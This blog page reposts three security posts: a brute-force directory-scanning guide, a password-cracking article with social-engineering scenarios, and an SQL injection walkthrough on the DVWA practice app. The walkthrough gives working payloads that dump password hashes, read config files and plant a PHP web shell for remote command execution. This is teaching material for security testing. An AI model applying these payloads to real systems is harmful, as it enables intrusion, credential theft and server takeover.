Pages

Master Coder

Hacking News , Cyber Crime , Ethical Hacking , CCNA, Seo , Google Adsense , Web Development ,

Cracker & Blackhat Hacking


How to Test for Brute Force Vulnerabilities


Description
During this type of attack, the attacker is trying to bypass security mechanisms while having minimal knowledge about them. Using one or more accessible methods: dictionary attack (with or without mutations), brute-force attack (with given classes of characters e.g.: alphanumerical, special, case (in)sensitive) the attacker is trying to achieve his/her goal. Considering a given method, number of tries, efficiency of the system, which conducts the attack and estimated efficiency of the system which is attacked, the attacker is able to calculate how long the attack will have to last. Non brute-force attacks, on the other hand, which includes all classes of characters, give no certainty of success.

Examples

Brute-force attacks are mainly used for guessing passwords and bypassing access control. However there are a lot of tools which use this techinque to examine the web service's catalogue structures and seek interesting, from the attacker's point of view, information. Very often the target of an attack are data in forms (GET/POST) and users' Session-IDs.

Example 1

In the first scenerio, where the goal of brute-forcing is to know the password in its decrypted form, it may appear that John the Ripper is a very helpful tool. The TOP10 tools for password cracking with different methods, including brute-force, may be found on http://sectools.org/crackers.html.

For testing web services there are tools like:
- dirb (http://sourceforge.net/projects/dirb/)
- WebRoot (http://www.cirt.dk/tools/webroot/WebRoot.txt)

dirb belongs to more advanced tools. With its help we are able to:
- set cookies
- add any HTTP header
- use PROXY
- mutate objects which were found
- test http(s) connections
- seek catalogues and/or files using defined dictionaries and templates
- and much much more

The simplest test to perform is:
rezos@dojo ~/d/owasp_tools/dirb $ ./dirb http://testsite.test/
-----------------
DIRB v1.9
By The Dark Raver
-----------------
START_TIME: Mon Jul 9 23:13:16 2007
URL_BASE: http://testsite.test/
WORDLIST_FILES: wordlists/common.txt
SERVER_BANNER: lighttpd/1.4.15
NOT_EXISTANT_CODE: 404 [NOT FOUND]
(Location: '' - Size: 345)

-----------------

Generating Wordlist...
Generated Words: 839

---- Scanning URL: http://testsite.test/ ----
FOUND: http://testsite.test/phpmyadmin/
(***) DIRECTORY (*)
In the output the attacker is informed that phpmyadmin/ catalogue was found. The attacker who knows that is now able to perform the attack on this application. In dirb's templates there is, among others, a dictionary containing information about invalid httpd configuration. This dictionary will detect weaknesses of this kind.

One of the main problems with tools like dirb is recognition if the given response from the server is expected and reliable. With more advanced server configuration (e.g. with mod_rewrite) automatic tools are unable to determine if server response informs about an error or that the file, which the attacker is after, was found.

The application WebRoot.pl, written by CIRT.DK, has embedded mechanisms for parsing server responses, and based on the phrase specified by the attacker, measures if the server response is expected.
For example:

Np.
./WebRoot.pl -noupdate -host testsite.test -port 80 -verbose -match "test" -url "/private/<BRUTE>" -incremental lowercase -minimum 1 -maximum 1

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00
o Webserver Bruteforcing 1.8 o
0 ************* !!! WARNING !!! ************ 0
0 ******* FOR PENETRATION USE ONLY ********* 0
0 ****************************************** 0
o (c)2007 by Dennis Rand - CIRT.DK o
oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00
[X] Checking for updates                - NO CHECK
[X] Checking for False Positive Scan - OK
[X] Using Incremental - OK
[X] Starting Scan - OK
GET /private/b HTTP/1.1
GET /private/z HTTP/1.1
[X] Scan complete                       - OK
[X] Total attempts - 26
[X] Sucessfull attempts - 1
oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00
WebRoot.pl found one file "/private/b" on testsite.test, which contains phrase "test".

Another example is to examine ranges of the variable's values:
./WebRoot.pl -noupdate -host testsite.test -port 80 -verbose -diff "Error" -url "/index.php?id=<BRUTE>" -incremental integer -minimum 1 -maximum 1

Defensive Tools

Php-Brute-Force-Attack Detector
Detect your web servers being scanned by brute force tools such as WFuzz, OWASP DirBuster and vulnerability scanners such as Nessus, Nikto, Acunetix ..etc. This helps you quickly identify probable probing by bad guys who's wanna dig possible security holes.

Tuesday, January 11, 2011

Password Hacking Techniques


Summary:  Password and user account exploitation is one of largest issues in network security. In this article Rob Shimonski will look at password cracking: the how and why of it. Rob will explain just how easy it is to penetrate a network, how attackers get in, the tools they use, and ways to combat it.

Attacks on a company or organization's computer systems take many different forms, such as spoofing, smurfing, and other types of Denial of Service (DoS) attacks. These attacks are designed to harm or interrupt the use of your operational systems. This article deals with a single wide-spread form of attack known as password cracking.
Password cracking is a term used to describe the penetration of a network, system, or resource with or without the use of tools to unlock a resource that has been secured with a password. In this article I will take a look at what password cracking is, why attackers do it, how they achieve their goals, and what you can do to do to protect yourself. I will briefly take a look at the attackers themselves: their psychological makeup and their motives. Through an examination of several scenarios, I will describe some of the techniques they deploy and the tools that aid them in their assaults, and how password crackers work both internally and externally to violate a company's infrastructure. Finally, the article provides a checklist to help protect you from password cracking.
Before exploring the methods for doing this, let's first peer into the mind of the attacker and learn why they might want access to your network and systems.
Attackers: how and why they attack
There is an on-going debate about the definition of the word hacker. A hacker can be anyone with a deep interest in computer-based technology; it does not necessarily define someone who wants to do harm. The term attacker can be used to describe a malicious hacker. Another term for an attacker is a black hat. Security analysts are often called white hats, and white-hat analysisis the use of hacking for defensive purposes.
Attackers' motivations vary greatly. Some of the most notorious hackers are high school kids in their basements planted in front of their computers looking for ways to exploit computer systems. Other attackers are disgruntled employees seeking revenge on a company. And still other attacks are motivated by the sheer challenge of penetrating a well-secured system.
Methods of attack
Password cracking doesn't always involve sophisticated tools. It can be as simple as finding a sticky note with the password written on it stuck right to the monitor or hidden under a keyboard. Another crude technique is known as "dumpster diving," which basically involves an attacker going through your garbage to find discarded documentation that may contain passwords.
Of course attacks can involve far greater levels of sophistication. Here are some of the more common techniques used in password cracking:
  • Dictionary attack
    A simple dictionary attack is by far the fastest way to break into a machine. A dictionary file (a text file full of dictionary words) is loaded into a cracking application (such as L0phtCrack), which is run against user accounts located by the application. Because the majority of passwords are often simplistic, running a dictionary attack is often sufficient to to the job.
  • Hybrid attack
    Another well-known form of attack is the hybrid attack. A hybrid attack will add numbers or symbols to the filename to successfully crack a password. Many people change their passwords by simply adding a number to the end of their current password. The pattern usually takes this form: first month password is "cat"; second month password is "cat1"; third month password is "cat2"; and so on.
  • Brute force attack
    brute force attack is the most comprehensive form of attack, though it may often take a long time to work depending on the complexity of the password. Some brute force attacks can take a week depending on the complexity of the password. L0phtcrack can also be used in a brute force attack.
Next, take a look at some of the tools attackers use to break into a system.
Tools of the trade
One of the most popular tools is L0phtCrack (now called LC4). L0phtCrack is a tool that allows an attacker to take encrypted Windows NT/2000 passwords and convert them to plaintext. NT/2000 passwords are in cryptographic hashes and cannot be read without a tool like L0phtCrack. It works by attempting every alphanumeric combination possible to try to crack passwords.
Another commonly-used tool is a protocol analyzer (better known as a network sniffer, such as Sniffer Pro or Etherpeek), which is capable of capturing every piece of data on the network segment to which it is attached. When such a tool is running inpromiscuous mode, it can "sniff" everything going around on that segment such as logins and data transfers. As you'll see later, this can seriously damage network security allowing attackers to capture passwords and sensitive data.
Let's take a look at a few scenarios and examine how attackers launch their attacks and how they might be stopped or prevented. I'll first describe a couple of scenarios involving internal attacks (that is, attacks that originate within an organization), and then take a look at a couple of scenarios involving external attacks.
Internal attacks
Internal attackers are the most common sources of cracking attacks because attackers have direct access to an organization's systems. The first scenario looks at a situation in which a disgruntled employee is the attacker. The attacker, a veteran systems administrator, has a problem with her job and takes it out on the systems she is trusted to administer, manage, and protect.
Example: The disgruntled employee
Jane Smith, a veteran system administrator with impeccable technical credentials, has been hired by your company to run the backup tapes during the late evenings. Your company, an ISP, has a very large data center with roughly 4000+ systems all monitored by a Network Operations Center. Jane works with two other technicians to monitor the overnight backups and rotate the tapes before the morning shift comes in. They all work independently of each other: one technician works on the UNIX Servers, one technician covers the Novell Servers, and Jane has been hired to work on the Windows 2000 Servers.
Jane has been working on the job for six months now and is a rising star. She comes in early, stays late and has asked to transfer to another department within the company. One problem: there are no open positions at the time. During the last month you (security analyst) have noticed a dramatic increase in the number of attempts at Cisco router and UNIX Server logins. You have CiscoSecure ACS implemented so you can audit the attempts and you see that most of them occur at 3 a.m.
Your suspicions are aroused, but as a security analyst, you can't go around pointing fingers without proof.
A good security analyst starts by looking deeper into the situation. You note that the attacks are from someone of high caliber and occur during Jane's shift, right after she is done with her tape rotation assignment and usually has an extra hour to study or read before the day operations team comes in. So you decide to have Jane supervised at night by the night operations manager. After three weeks of heavy supervision, you notice that the attacks have stopped. You were right. Jane was attempting to log into the Cisco routers and UNIX servers.
A good security analyst also needs to employ a good auditing tool, such as Tacacs+, to log attacks. Tacacs+ is a protocol used by applications such as CiscoSecure ACS that will force Authorization, Accountability, and Authentication (AAA for short). If you have Authorization, then the person requesting access needs to be authorized to access the system. If you have Authentication, then the user accessing a resource needs to be authenticated with rights and permissions to have access. What happens when you are authorized and also authenticated? You must be held Accountable. Accounting logs alone solve many password cracking problems by forcing an attacker to be held accountable, authenticated and authorized.
Next, I'll give an example of an old (but still widely used) attack, which involves sniffing passwords right off the network. You can see how a network supervisor had his Cisco routers and switches cracked by a help desk technician within the company.
Example: The help desk technician
Tommy is hired for the position of help desk technician to work with the after hours help desk crew. The after hours help desk staff is made up of roughly 10 technicians who provide coverage for eight remote sites that the company needs to support during off hours. Tommy always brings his laptop with him to work. When questioned about the laptop by his manager, Tommy explains that he is using his break time to prepare for a certification test. This seems harmless and is approved, even though there is a company-wide security policy in place about bringing machines from the outside into the corporate network without corporate security looking the device over.
Tommy is eventually caught by a surveillance camera leaving a small wiring closet with something under his arm. But since nothing is reported missing, there is no way to prove that Tommy has done anything wrong. And when questioned by the help desk manager about why he was in the closet, Tommy says that he mistakenly entered it thinking it was a break room.
The company's security manager, Erika, sees the report filed by the guards responsible for the physical security of the building. She wonders what Tommy was doing in that closet and is not satisfied with the answer he gave to the help desk manager. Upon searching the closet, she finds an unplugged patch cable hanging from one of the patch panels and an empty hub port. When she plugs the cable back in, the link light does not come back on suggesting that this is a dead port. Cable management Velcro straps neatly hold all the other cables together. With Erika's years of experience and keen sense of security exploitation, she knows exactly what happened.
Erika assumes that Tommy has brought his laptop in the wiring closet unseen. He most likely looked for a dead port on the hub and plugged his laptop in with a packet sniffer installed on it, which promiscuously picks up traffic on a network segment. He returns later to pick up the laptop, which is caught on the surveillance camera, to take home for analysis after saving the capture file.
Using the company's security policy, she confronts Tommy and explains that all personal property, such as laptops and palm pilots, are subject to search if on the premises illegally. Since Tommy never should have had his laptop there in the first place, he hands it over to Erika. Upon careful examination, Erika finds the following trace decode as seen in Figure 1.

Figure 1. Captured telnet traffic with a protocol analyzer
Figure 1. Captured telnet traffic with a protocol analyzer

A close examination of the Hex pane of the Sniffer Pro analyzer in Figure 2 reveals ASCII data in clear view on the right side of the pane. While attached to a switch in the closet, Tommy ran the configuration while connected via a telnet session. Since the telnet protocol is unsecure and sent via cleartext, it is easy to see the password: "cisco."

Figure 2. ASCII decode of plaintext data 
plaintext data

This is one of the most basic principles of security: Never use a product name as a password. But in spite of how basic a principle it is, it's remarkable how often it is still done.
Next, turn your attention to some external threats.
External attacks
External attackers are those who must traverse your "defense in depth" to try and break into your systems. They don't have it as easy as internal attackers. The first scenario involves a fairly common form of external attack known as Web site defacing. This attack uses password cracking to penetrate the systems that the attacker wants to deface. Another possible password cracking attack is when an attacker tries to obtain passwords via Social Engineering. Social Engineering is the tricking of an unsuspecting administrator into giving the account ID and passwords over to an attacker. Lets take a look at both.
Example: Web site home page defacing
Figure 3 demonstrates a fairly common and simple example of external password cracking: defacing a Web site's home page. It takes little effort and is usually accomplished by simply exploiting an Internet Information Server (IIS) that has its permissions set incorrectly. The attacker simply goes to a workstation and tries to attack the IIS server with an HTML editing tool. When trying to attach over the Internet to the site, the attacker uses a password generator tool, such as L0phtCrack, which launches a brute force attack against the server.

Figure 3. Home page replaced by an attacker 
Figure 3. Home page replaced by an attacker

Your company's reputation is on the line. Business vendors and associates will lose faith in you if they perceive that your data is kept on unsecured servers. Make sure you look at inside and outside threats equally.
Example: Social engineering tricks
Non-tool related tricks to crack passwords are called social engineering attacks. Read this a scenario to learn more.
Jon is the new security analyst for a large company. His first job is to test his company's security stance. He of course lets management know what he is about to do (so he doesn't get labeled as an attacker himself). He wants to see how hard it is to crack into the network without even touching a single tool. He tries two separate but equally devastating attacks.
As a new employee in a large organization, John isn't known to many people yet, which makes it easy for him to pull off his first social engineering attack. His first target is the help desk. Jon makes a routine call to the help desk and asks for a password reset as a supposed remote user. Jon already has half the information he needs since he knows that the company's naming convention is simply first name and the first initial of the user's last name. The CIO's name is Jeff and his last name is Ronald, so JeffR is his login ID. This information is readily available from the company's phone directory. Masquerading as the CIO, Jon calls the help desk and asks for a password reset because he has forgotten his password. This is a normal ritual for the help desk technician who resets forgotten passwords 100 times a day and calls the requestor back letting them know what their knew password is. The help desk technician calls Jon back five minutes later and lets him know that his new password is "friday" because it happens to be Friday. Within another 5 minutes, Jon is in the CIO's shared files on the server and in his e-mail.
Jon's next social engineering attack involves a good friend of his who works for the local telephone company. Jon borrows some of his gear and his belt and badge on his friend's day off. Jon takes his new gear and heads to another part of the organizations campus where all the disaster recovery routers and servers are located. This hardware contains a working copy of all the company's current data and is considered confidential. Jon walks into the campus security office in his Telco costume and explains that he has been called out by the Local Exchange Carrier (LEC) because a circuit appears to be looped from the Telco. He needs to be let into the data center so he can check out if there are any alarms on the Smart Jack.
The onsite administrator escorts Jon to the data center not even checking his ID. Once inside, the administrator wisely sticks around, so Jon starts his test. After a few minutes, Jon informs the administrator that he will have to call his office and have them run some more tests so he can loop off the Smart Jack and try to troubleshoot. Jon lets the administrator know that this will take about 45 minutes, so the administrator gives Jon his pager number and asks that he page him when he is done to let him out. Jon has now successfully eliminated the only obstacle between him and the 30 servers all lined up in racks along the back wall of the data center.
Jon has a few different opportunities now. He can go to every server and start looking for unlocked consoles, or he can plug his laptop into an open port and start sniffing. Since he really wants to see how far he can go, he decides to look for open consoles. After five minutes of looking through all the KVM slots, he finds a Windows NT server running as the Backup Domain Controller for the Domain. Jon pulls a CD out of his bag and enters it into the CD tray of the server. He installs L0phtCrack onto a BDC for the companies Domain and runs a dictionary attack. Within five minutes produces the following password: Yankees. It turns out the lead administrator is a New York Yankees fan. He now has access to the company's most vital information.
Now look at how this was done.

Figure 4. Using L0phtCrack to break the Administrator password
Figure 4. Using L0phtCrack to break the Administrator password

A protection check list
Here is a checklist of things you can do to make password cracking more difficult:
  • Audit your organization! Do a walk through and make sure passwords are not stuck to monitors or under keyboards.
  • Set up dummy accounts. Get rid of the administrator (or admin) account or set it up as a trap and audit it for attempts.
  • Use strong, difficult to guess passwords, and never leave a console unlocked.
  • Backups are necessary in case you are compromised. You need a working set of data, so make sure you have it. Keep the tapes secure too, or the data there will be compromised as well.
  • Prevent dumpster diving. Don't throw sensitive information away; shred it or lock it up.
  • Check IDs and question people you don't know. When you have visitors, check them out and make sure they belong.
  • Educate your end users. Make sure they aren't prone to social engineering and educate and remind internal users of the company's security policies.
Summary
In this article I've described some of the psychology behind an attacker's motivation and some of the low-tech and high-tech methods used to crack passwords. You've looked at several attack scenarios, including attacks against major companies by a veteran administrator, a help desk technician, and an outside vandal. You also saw how password crackers use techniques both internally and externally to your infrastructure. Finally, some ideas on how to properly secure yourself and your systems from the possibility of a password cracking attack were offered. Combating these attacks ultimately requires a conscious effort, trained individuals, useful tools, and sound security policies. Hopefully, as a proactive security analyst, you can make a difference in helping to slow down this malicious activity within your organizations as well as outside of them. Otherwise, you may find Jon in your server room with a smirk on his face and your data in his hands.


  • Read the developerWorks article Protecting Passwords: authenticating users, this article is a great read to get your mind around how to protect your passwords in the first place.
  • See also the developerWorks article Setting up a security policy, also a must read.
  • The CERT Coordination Center is a center of Internet security expertise at the Software Engineering Institute, a federally funded research and development center operated by Carnegie Mellon University. They study Internet security vulnerabilities, handle computer security incidents, and publish security alerts.
  • Check out the following article available from the CERT organization on Protecting Yourself from Password File Attacks.
  • Password Cracking Activity discovered by the CERT organization can be researched athttp://www.cert.org/incident_notes/IN-98.03.html.
  • Password cracking tools are available worldwide over the Internet. Check out http://www.pwcrack.com for security and cracking resources available on the Internet.
  • Sans.org is the leading source of Internet and Network security administration worldwide. You can research many topics in their extensive library of information.
  • General Security information can be found and researched on the Security Focus Web site.
About the author
Robert J. Shimonski (Truesecure TICSA, Cisco CCDP, CCNP, Nortel NNCSS, Microsoft MCSE, MCP+I, Novell Master CNE, CIP, CIBS, IWA CWP, Prosoft CIW, SANS GSEC, GCIH, CompTIA Server+, Network+, Inet+, A+, e-Biz+, Symantec SPS and NAI Sniffer SCP) is a Lead Network and Security Engineer for a leading manufacturer company. Robert's specialties include network infrastructure design with the Cisco and Nortel product line, network security design and management with CiscoSecure and PIX firewalls, network management and troubleshooting with CiscoWorks, CiscoSecure, Sniffer-based technologies, and HPOV. Robert is the author of many security-related articles and published books, including the upcoming Sniffer Network Optimization and Troubleshooting Handbook from Syngress Media, Inc. You can contact Robert at rshimonski@rsnetworks.net.

Saturday, December 25, 2010

DVWA v1.0.7




The goal of this paper is to help explain and demonstrate some of the dangers of SQL injection.  It is in no way complete, and it is far from comprehensive.


I have always believed that the best way to learn is to do.  For this reason, I have tried to provide the reader a reference to use when practicing SQL injection.  You are highly encouraged to follow along and try the following examples as you read.  


For the rest of this tutorial we will use Damn Vulnerable Web App (DVWA) as our practice grounds.  The sources listed at the end of this paper contains both a link to the DVWA download, and to the official install instructions. Do not install DVWA in a production environment.  It could cause your host to be compromised (by the techniques listed below, among others).  


I have used the XAMPP server package (Apache with MySQL) in a Windows environment for this walk through.  This can be done with other web servers, or OS types, but some of the injections will need to be tailored accordingly.


Injection Intro:
The following definition has been borrowed from Wikipedia:  SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed ... SQL injection attacks are also known as SQL insertion attacks.


Rephrased, this means that we may be able to use special input to trick the SQL server to do what we want it to do.  


Formatting:The following injections can be split into three parts.  For the sake of simplicity we will call these three parts the injection prefix, expression, and suffix. 


For the remainder of this paper I will refer to these three parts, when placed together, as the injection phrase.  – it is what you will insert into the text box.  The whole query (the original SQL query plus our injection phrase) will be referred to as the SQL injection query.  I have shown the whole query, so that you can better understand what the SQL server is processing after we insert the injection phrase.  


The “injection prefix” is a modification of an expected query that attempts to break us free of the expected input and place the rest of our input directly into the SQL query. 


The “injection expression” contains the specific query used to gain information or execute code.  
The “injection suffix” will attempt to manage the formatting of the query to prevent unwanted syntax errors.  This is usually done by commenting out the rest of the query.  This task can also be accomplished by creating proper SQL syntax.


SQL INJECTION WALKTHROUGH WITH DVWA


Once you have XAMPP running correctly.  Simply place the DVWA folder into your server's root web directory (In a test environment only!). In this tutorial, DVWA will be located at  


\xampp\htdocs\dvwa.  


Add the database login name and password to the DVWA configuration file located 


at  ...\dvwa\config\config.inc.php. 


 With any web browser, go to 


http://127.0.0.1/dvwa


You will be prompt to “setup the database”.  Click the noted link.  If all goes well DVWA should note that setup was successful.  Click on the “DVWA Security” tab.  You will be prompted to insert a username and password.


Log in with admin as the username and password as the password (They don't call it DVWA for nothing).  Set the security to low, and click submit.  Click on the “SQL Injection” tab...we are now ready to go.Although you can attack the server from the server (127.0.0.1 - localhost), If you want to use another computer to attack this vulnerable host, you will need to modify ...\dvwa\.ht  access to include your network address.  This helps prevent DVWA from being abused from outsiders.


Insert the text from the following examples noted in red into the User ID box, and then click Submit to see what happens.


Check expected results:
• SELECT first_name, last_name FROM users WHERE user_id = '1'"
Results: ID: 1
First name: admin
Surname: admin


Note that we could cycle through each user to find out who, and how many there are.  Something like this is an obvious information disclosure vulnerability.


Check for handling of quotes:


• SELECT first_name, last_name FROM users WHERE user_id = 'O'Malley' o We will use something that looks benign to check for quote handling errors 


Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Malley'' at line 1 o We can see that everything after the single quote is being treated as a SQL request.


Check the results of an OR True statement – First Try:


• SELECT first_name, last_name FROM users WHERE user_id = ' a' OR 1=1;--'"


Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '--'' at line 1


o The -– didn’t work as hoped.  Ideally (for the attacker) this will cause the entire following query to be treated as a comment.  Note the extra single quote at the end of the returned error.  It must be expecting the single quote from user_id=’ to be closed.  Let’s try something else…


Check the results of an OR True statement – Second Try:


• SELECT first_name, last_name FROM users WHERE user_id = 'a' OR ''=''"
Result: ID: a' OR ''='
First name: admin
Surname: admin
ID: a' OR ''='
First name: Gordon
Surname: Brown
ID: a' OR ''='
First name: Hack
Surname: Me
ID: a' OR ''='
First name: Pablo
Surname: Picasso
ID: a' OR ''='
First name: bob
Surname: smith


For a lookup like this, one would only expect the first response to be displayed.  If you look at the DVWA source code (Click the View Source tab in DVWA), you can see that a loop is created to cycle through each returned row.  This is a bad idea because the expected input should have an expected output of only one result – Why they code this page to display more than one result is beyond be.  I guess that’s why they call it DVWA.


o Note how we used AND ‘’=’ at the end of our injection. This takes care of the final single quote by making a statement that is always true ‘’=’’ 


• SELECT first_name, last_name FROM users WHERE user_id ='a' OR 'x'='x';#'"


 Here is an alternative injection string that will work.  It seems that an injection suffix of ;# will comment out the following SQL, thus creating proper syntax within the SQL phrase.  We will use this for our suffix for most of the following injection strings.


Find the number of returned columns:
• SELECT first_name, last_name FROM users WHERE user_id = 'a' ORDER BY 1;#'"


Result: Nothing….this means that there is at least one column returned from the original SELECT statement.


• SELECT first_name, last_name FROM users WHERE user_id = 'a' ORDER BY 2;#'"


Result: Nothing…this means that there are at least two columns returned from the original SELECT statement.


• SELECT first_name, last_name FROM users WHERE user_id = 'a' ORDER BY 3;#'"


Result: Unknown column '3' in 'order clause' 


 This means that there are only two columns returned by the original SELECT statement (In this case, first_name and last_name – We don't usually get to see the text in blue.  We can
use these injection phrases to gain more information about the original SQL query's structure.) If we use UNION to return other results, we will need to make sure that the number of columns is
equal in both the original SQL query and our Injected UNION Phrase.


Find field names – First Try:


• SELECT first_name, last_name FROM users WHERE user_id = 'a' OR firstname IS NULL;#'"


Result: Unknown column 'firstname' in 'where clause' o This is good….we now know that there is not a column named firstname.  Let’s take a few more guesses…


• SELECT first_name, last_name FROM users WHERE user_id = 'a' OR firstname = ''=''"


This is an alternate way to do this.  It should also work…there should still be an error if the column does not exist.


Find field names – Second Try:


• SELECT first_name, last_name FROM users WHERE user_id = 'a' OR first_name IS  NULL;#'"


Result: Nothing  …This is good.  That means there are no errors, thus there is a field named first_name.  Nothing is actually returned because first_name is not NULL, IE…it has something in it.


• SELECT first_name, last_name FROM users WHERE user_id = 'a' OR first_name = ''=''"


The alternate will not error out if the column name is correct, but unlike above, this should print the expected results for the first row (because of the loop noted above, it will actually display all rows).


Try a few other fields….not all of these will work, but give them a try and see what happens:
 user_id
 lastname
 last_name
 image
 links
 link
 avatar
 pass 
 password
 user
Finding user names - LIKE:


Let’s say that the page is a bit more secure and will only list one result at a time.  If we need to know a username (and we can’t just insert a sequential number), how do we get more names?  With LIKE or course. (Here we will assume that first_name is what we are trying to find).


• SELECT first_name, last_name FROM users WHERE user_id = 'a' OR first_name LIKE '%P%';#'"


Using this same technique, it may be possible to find the value of other fields (passwords,
email addresses…etc)?


• SELECT first_name, last_name FROM users WHERE user_id = 'a' OR first_name='Pablo' AND password LIKE '%a%';#'"


Finding the table name - Take a guess:


• SELECT first_name, last_name FROM users WHERE user_id = 'a' OR test.user_id IS NOT NULL;#’”


Result: Unknown column 'test.user_id' in 'where clause' 


We are using the tablename.columnname format to help guess the table name.  We must use a known column name (see Find Field Names) for this to work properly.  If we guess an incorrect table name we will get an error.  If, however, we guessed the correct table name,the query should not have an error.


 Try a table name of users


• SELECT first_name, last_name FROM users WHERE user_id =1' AND 1=(SELECT COUNT(*) FROM tablenames);#'";


This is an alternative way to brute force a table name.  This will help us find any table name in the database.  We can use the above method to help determine if any table that is found is the one we are currently working with.


Find the database name – LIKE:


• SELECT first_name, last_name FROM users WHERE user_id = 'a' OR database() LIKE '%A%';#"


 The database() function will help us find the database name.  We can use the LIKE clause to help determine the name.  The '%' is the wildcard character. Means 0 or more characters of any value, so %A% checks to see if the database name contains the letter A. '_' represents
any single character, so you can determine the length of the table name by incrementing the amount of _’s until you get a response.  Try the following:


 a’ OR database() LIKE '__';#
 a’ OR database() LIKE '____’;#
 a' OR database() LIKE '%W%';#
 a' OR database() LIKE 'D%';#
 a' OR database() LIKE 'D%';#
 a' OR database() LIKE '%Z%';#
 a' OR database() LIKE '_v_A';#


Find the table names - LIKE:


• SELECT first_name, last_name FROM users WHERE user_id ='a' UNION SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema LIKE '%dv%'"


SQL-92 Standardization (ISO 9075) includes the information_schema database.  This holds information on other databases, tables, users,etc…. Information_schema.tables, is a list of database names (table_schema) and table names (table_name). Fortunately for us, we
can request both of these at once because the original query also requested two columns.  By manipulating the WHERE table_name LIKE phrase, we can find the names of various tables. This is not necessary


for this exercise because…


• SELECT first_name, last_name FROM users WHERE user_id ='a' UNION SELECT table_schema, table_name FROM information_schema.tables;#'"


 The loop will display all of the returned rows – not just the first one.  By omitting the  HERE/LIKE portion, we are able to see all of the results.


Find the current SQL Version


• SELECT first_name, last_name FROM users WHERE user_id = 'a' UNION ALL
SELECT 1, @@version;#'"


Result: ID: a' UNION ALL SELECT 1, @@version;#
First name: 1
Surname: 5.1.41
Here we can see that the current version number is 5.1.41.
Find the current database user:


• SELECT first_name, last_name FROM users WHERE user_id = 'a' UNION ALL
SELECT system_user(),user();#'"


Result: ID: a' UNION ALL SELECT 1, user();#
First name: root@localhost
Surname: root@localhost
List Password Hashes:


• SELECT first_name, last_name FROM users WHERE user_id ='1' UNION ALL
SELECT user, password FROM mysql.user; -- priv;#'"


This will hopefully display a password hash that can then be cracked with John the Ripper or other password crackers.  This could be usefully for many things.  If this works, check to see if they have a database management program such as PHPmyAdmin – log in with what you
found (and cracked).


Reading arbitrary files:
• SELECT first_name, last_name FROM users WHERE user_id = '' UNION ALL SELECT load_file('C:\\xampp\\htdocs\\dvwa\\.htaccess'), '1'"


This should show us the .htaccess file.  We could of course, read any file that the SQL server has read rights to.  You could check for htpasswd, or some other file that contains sensitive information.  PHP. files that access a SQL database will often have the database password
(likely in plain text) listed in the file.  SQL injection will allow us to view the .php file without the php first being interpreted by the server.


• SELECT first_name, last_name FROM users WHERE user_id = ' ' UNION ALL
SELECT load_file('C:\\xampp\\htdocs\\dvwa\\config\\config.inc.php'), '1'"


o This works without error, but there is nothing printed to the screen.  If you view the page source however, you should find something interesting.


Writing arbitrary files:


• SELECT first_name, last_name FROM users WHERE user_id = ''UNION
SELECT 'test', '123' INTO OUTFILE 'testing1.txt'"


The command will likely return a few warnings – look closely, these could contain file paths that give us an idea of the web root location on the server…If all goes well, you should see a file named testing1.txt in the SQL data path. (If you are using Xampp on Windows, it should be
something like C:\xampp\mysql\data\dvwa\testing1.txt).  Let's try to write a file accessible to the web.


• SELECT first_name, last_name FROM users WHERE user_id = ''UNION
SELECT 'test', '123' INTO OUTFILE 'c:\\xampp\\htdocs\\testing2.txt'"


Now, point your web browser to "http://[web root]/testing2.txt".  What do you see…..it's our OUTFILE! This means that the attacker has the ability to change existing web pages via SQL injection.  This means, you can add your own pages to the site.  It may also mean that we can
execute remote code…


Remote Code execution:


• SELECT first_name, last_name FROM users WHERE user_id = '' UNION  SELECT '', '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:\\xampp\\htdocs\\dvwa\\shell.php';#'"


 Now point your browser to http://[web root]/dvwa/shell.php?cmd=dir. Game over! We have just run a command on the remote server.  From here we could download and run files (backdoor, keylogger, etc…), change system settings, add system users, etc… o Note that if you try and change the directory, it will not remember the next time you run the command.  Each time it is a new process.  To find out what directory your are in, use the remote shell to execute the command 'echo %25CD%25 '


Getting around escaped characters:


• So far we have been using DVWA on the low security setting.  Click on the "DVWA Security" tab on the left side of the DVWA webpage.  Change the settings to medium and click Submit.  Go back to "SQL Injeciton" and try an injection phrase that checks for the handling of quotes.
• SELECT first_name, last_name FROM users WHERE user_id = ' O'Malley'" o Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'Malley' at line 1


Note that there is now a \ in front of our single quote.  In SQL a \ will cause certain characters be taken literally.  Instead of interpreting the single quote as an escape from "user_id='", it is interpreted as text.


• SELECT first_name, last_name FROM users WHERE user_id = ' 1 OR 1=1'"


o As we can see, if we avoid certain characters, we can still trick the server into running our injection phrase.  Play around with the previously mentioned injection phrases – but first remove any quotes. Many of the above injection phrases will still work without quotes.


Protect Yourself from SQL Injection:
Hopefully this walkthrough has shown how important it is to protect your site against SQL injection. NEVER take user input and place it directly into a SQL query. Always sanitize user input. Watch for characters like ‘,”,_,%,\x00,\n,\r,\, and \x1a. If possible create a whitelist of what characters are acceptable, and don’t make it contain any more than you need. Limit user input by length (and make sure the user can’t send data greater than expected by modifying the form’s HTML). If only one result is to be expected – return only one result. If you are using PHP and MySQL, it is often best to assign the input to a variable, and then pass it through the
stripslashes() and then the mysql_real_escape_string()function. Once this is done,


SQL injection will much more difficult – for a query like we were working with, it should become impossible. Avoid displaying server errors when possible. Always make sure to use a least-privileged database account. Test…test….test. There are many automated SQL Injection tools. I recommend using these tools to test your code. Having a professional code audit is never a bad idea either.


Sources
To give credit where it is due – The following sites were referenced while creating this walkthrough.  I would highly recommend checking them out:


•   http://www.apachefriends.org/en/xampp.html – The XAMPP site
• http://sourceforge.net/projects/dvwa/ - Download location for DVWA
• http://www.youtube.com/watch?v=GzIj07jt8rM – The official DVWA install
video, showing how to install DVWA with XAMPP.
• http://en.wikipedia.org/wiki/SQL_Injection
• http://unixwiz.net/techtips/sql-injection.html
• http://sqlzoo.net/hack/24table.htm
• http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
